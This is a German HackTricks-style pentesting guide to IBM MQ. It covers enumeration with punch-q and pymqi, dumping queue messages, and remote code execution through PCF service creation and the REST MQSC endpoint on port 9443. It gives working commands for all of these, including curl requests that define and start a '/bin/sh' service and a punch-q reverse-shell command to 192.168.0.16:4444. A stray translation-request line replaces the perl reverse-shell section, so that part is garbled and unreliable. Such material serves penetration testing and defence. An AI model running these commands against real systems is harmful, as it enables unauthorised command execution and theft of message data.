1414 - Pentesting IBM MQ

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

IBM MQ ist eine IBM-Technologie zur Verwaltung von Message-Broker-Queues. Wie andere Message-Broker-Technologien ist sie dazu bestimmt, Informationen zwischen Produzenten und Konsumenten zu empfangen, zu speichern, zu verarbeiten und zu klassifizieren.

Standardmäßig ist der IBM MQ TCP-Port 1414 offen. Manchmal kann eine HTTP REST API auf Port 9443 exponiert sein. Metriken (Prometheus) sind auch über den TCP-Port 9157 zugänglich.

Der IBM MQ TCP-Port 1414 kann verwendet werden, um Nachrichten, Queues, Channels, … zu manipulieren, aber auch, um die Instanz zu kontrollieren.

IBM stellt eine umfangreiche technische Dokumentation bereit unter https://www.ibm.com/docs/en/ibm-mq.

Werkzeuge

Ein vorgeschlagenes Tool für einfache Exploitation ist punch-q, mit Docker-Einsatz. Das Tool verwendet aktiv die Python-Bibliothek pymqi.

Für einen manuellen Ansatz verwenden Sie die Python-Bibliothek pymqi. IBM MQ dependencies werden benötigt.

Installation von pymqi

Die IBM MQ dependencies müssen installiert und geladen werden:

  1. Erstellen Sie ein Konto (IBMid) auf https://login.ibm.com/.
  2. Laden Sie die IBM MQ Bibliotheken von https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc herunter. Für Linux x86_64 ist es 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Dekomprimieren (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Führen Sie sudo ./mqlicense.sh aus, um den Lizenzbedingungen zuzustimmen.

Wenn Sie Kali Linux verwenden, bearbeiten Sie die Datei mqlicense.sh: entfernen/kommentieren Sie die folgenden Zeilen (zwischen Zeilen 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Installieren Sie diese Pakete:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Dann vorübergehend die .so-Dateien zu LD hinzufügen: export LD_LIBRARY_PATH=/opt/mqm/lib64, bevor andere Tools gestartet werden, die diese Abhängigkeiten benötigen.

Dann kannst du das Projekt pymqi klonen: es enthält interessante Code-Snippets, Konstanten, … Oder du kannst die Library direkt installieren mit: pip install pymqi.

Using punch-q

With Docker

Einfach verwenden: sudo docker run --rm -ti leonjza/punch-q.

Without Docker

Klon das Projekt punch-q und folge dann dem Readme zur Installation (pip install -r requirements.txt && python3 setup.py install).

Anschließend kann es mit dem punch-q-Befehl verwendet werden.

Enumerierung

Du kannst versuchen, den Queue Manager-Namen, die Benutzer, die Channels und die Queues mit punch-q oder pymqi zu enumerieren.

Wenn TCP/1414 gefiltert ist oder das Ziel nur den eingebetteten Webserver exponiert, prüfe auch TCP/9443. Neuere IBM MQ-Versionen stellen dort standardmäßig die IBM MQ Console / REST API bereit, wenn mqweb aktiviert ist, und der administrative REST-Endpunkt kann beliebige MQSC-Befehle ausführen, wenn du gültige Zugangsdaten hast.

Queue Manager

Manchmal besteht kein Schutz gegen das Auslesen des Queue Manager-Namens:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Kanäle

punch-q verwendet eine interne (änderbare) wordlist, um vorhandene Kanäle zu finden. Beispiel:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Es kommt vor, dass einige IBM MQ-Instanzen unauthenticated MQ-Anfragen akzeptieren, sodass --username / --password nicht benötigt werden. Natürlich können die Zugriffsrechte variieren.

Sobald wir einen Channel-Namen (hier: DEV.ADMIN.SVRCONN) haben, können wir alle anderen Channels aufzählen.

Die Enumeration kann im Wesentlichen mit diesem Code-Snippet code/examples/dis_channels.py aus pymqi durchgeführt werden:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Aber punch-q bettet diesen Teil ebenfalls ein (mit mehr Informationen!). Es kann wie folgt gestartet werden:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Viele Fälle, in denen ‘es verbindet sich, gibt aber 2035 zurück’, werden durch CHLAUTH-Regeln oder durch fehlende OAM-Berechtigungen an den Zielobjekten verursacht.

Wenn Sie bereits administrativen MQSC-Zugriff haben, ist MATCH(RUNCHECK) der schnellste Weg, um zu verstehen, welche Regel auf eine Remote-Verbindung angewendet wird:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

Über den REST-Admin-Endpunkt auf 9443 kann derselbe Check aus der Ferne durchgeführt werden:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Wenn Sie genügend Rechte haben, PCF aus der Ferne zu verwenden, stellt IBM MQCMD_INQUIRE_CHLAUTH_RECS bereit, das die Channel-Authentifizierungs-Einträge und deren Zuordnungen zu MCAUSER zurückliefert. Das ist nützlich, um zu bestätigen, ob ein Channel entfernte Benutzer auf ein höher privilegiertes lokales Konto abbildet, bevor man auf Nachrichten zugreift, Objekte erstellt oder Services missbraucht.

Warteschlangen

Es gibt einen Codeausschnitt mit pymqi (dis_queues.py), aber punch-q erlaubt es, weitere Informationen über die Warteschlangen abzurufen:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Sie können queue(s)/channel(s) anvisieren, um von ihnen sniff out / dump messages zu erhalten (nicht-destruktive Operation). Beispiele:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Zögern Sie nicht, alle identifizierten Queues mehrfach zu durchlaufen.

Code execution

Einige Details vorab: IBM MQ kann auf verschiedene Arten kontrolliert werden: MQSC, PCF, Control Command. Einige allgemeine Übersichten finden Sie in IBM MQ documentation. PCF (Programmable Command Formats) ist das, worauf wir uns konzentrieren, um aus der Ferne mit der Instanz zu interagieren. punch-q und außerdem pymqi basieren auf PCF-Interaktionen.

Eine Liste der PCF-Befehle finden Sie:

Ein interessanter Befehl ist MQCMD_CREATE_SERVICE und seine Dokumentation ist hier verfügbar. Er nimmt als Argument einen StartCommand entgegen, der auf ein lokales Programm auf der Instanz zeigt (Beispiel: /bin/sh).

Es gibt in der Dokumentation auch eine Warnung zu diesem Befehl: “Achtung: Dieser Befehl erlaubt einem Benutzer, einen beliebigen Befehl mit mqm-Rechten auszuführen. Wenn Rechte zur Verwendung dieses Befehls gewährt werden, könnte ein böswilliger oder unachtsamer Benutzer einen Service definieren, der Ihre Systeme oder Daten beschädigt, zum Beispiel durch Löschen wichtiger Dateien.”

Hinweis: Laut IBM MQ documentation (Administration Reference) gibt es außerdem einen HTTP-Endpunkt unter /admin/action/qmgr/{qmgrName}/mqsc, um den äquivalenten MQSC-Befehl zur Service-Erstellung (DEFINE SERVICE) auszuführen. Dieser Aspekt wird hier noch nicht behandelt.

Wenn MQ Console / REST API-Zugangsdaten verfügbar sind, können Sie oft dieselben administrativen Primitive über HTTPS auf 9443 erreichen, ohne die MQ-Client-Bibliotheken zu verwenden. IBM dokumentiert /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc als Endpunkt, der plain-text MQSC oder JSON-Befehle akzeptiert.

Die Service-Erstellung/-Löschung mit PCF zur Remote-Programmausführung kann mit punch-q durchgeführt werden:

Beispiel 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

In den Logs von IBM MQ sieht man, dass der Befehl erfolgreich ausgeführt wurde:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Du kannst auch vorhandene Programme auf der Maschine auflisten (hier /bin/doesnotexist … existiert nicht):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Beachte, dass der Programmstart asynchron ist. Daher brauchst du ein zweites Item, um den Exploit auszunutzen (listener for reverse shell, file creation on different service, data exfiltration through network …)

Die gleiche Technik kann über die REST API ausgeführt werden:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Das ist besonders nützlich während Assessments, wenn:

  • 9443 erreichbar ist, aber 1414 auf einen kleineren Quellbereich beschränkt ist
  • Das Zielteam verwaltet IBM MQ hauptsächlich über die web console und hat vergessen, die REST roles zu härten
  • Sie möchten vermeiden, IBM MQ client libraries lokal zu installieren und benötigen nur MQSC-level administration

Beispiel 2

Für eine einfache reverse shell schlägt punch-q außerdem zwei reverse shell payloads vor :

  • Eine mit bash
  • Eine mit perl

Natürlich können Sie eine eigene mit dem execute-Befehl erstellen.

Für bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Bitte den zu übersetzenden Abschnitt (den Text nach “For perl:”) hier einfügen. Ich übersetze ihn dann ins Deutsche unter Beibehaltung aller Code‑, Link‑ und Tag‑Syntax.

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Benutzerdefiniertes PCF

Sie können die IBM MQ-Dokumentation durchgehen und direkt die Python-Bibliothek pymqi verwenden, um einen bestimmten PCF-Befehl zu testen, der in punch-q nicht implementiert ist.

Beispiel:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Wenn Sie die Konstantennamen nicht finden können, können Sie die IBM MQ documentation zu Rate ziehen.

_Beispiel für MQCMD_REFRESH_CLUSTER (Dezimal = 73). Es benötigt den Parameter MQCA_CLUSTER_NAME (Dezimal = 2029), der _ sein kann (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Testumgebung

Wenn Sie das Verhalten von IBM MQ und exploits testen möchten, können Sie eine lokale Umgebung auf Basis von Docker einrichten:

  1. Ein Konto bei ibm.com und cloud.ibm.com.
  2. Erstellen Sie eine containerisierte IBM MQ mit:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Hier wurde der Queue Manager-Name auf MYQUEUEMGR gesetzt (Variable MQ_QMGR_NAME).

Neuere 9.4.x Developer-Images haben das Standardverhalten geändert:

  • admin und app werden nur erstellt, wenn ihre Passwörter gesetzt sind
  • IBM deklariert MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD ab 9.4.0.0 als deprecated
  • Der bevorzugte Weg ist, Secrets namens mqAdminPassword und mqAppPassword zu injizieren

Für ein schnelles lokales Lab mit Podman können Sie beide Benutzer so erstellen:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Mit der Standard-Entwicklerkonfiguration:

  • DEV.ADMIN.SVRCONN erlaubt nur den Benutzer admin
  • DEV.APP.SVRCONN ist der Anwendungskanal und der Benutzer app ist die erwartete Identität
  • https://<target>:9443/ibmmq/console stellt die Webkonsole bereit, wenn der eingebettete Webserver aktiviert ist

IBM MQ sollte laufen und seine Ports sollten erreichbar sein:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Die älteren Versionen der IBM MQ Docker-Images befinden sich unter: https://hub.docker.com/r/ibmcom/mq/.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks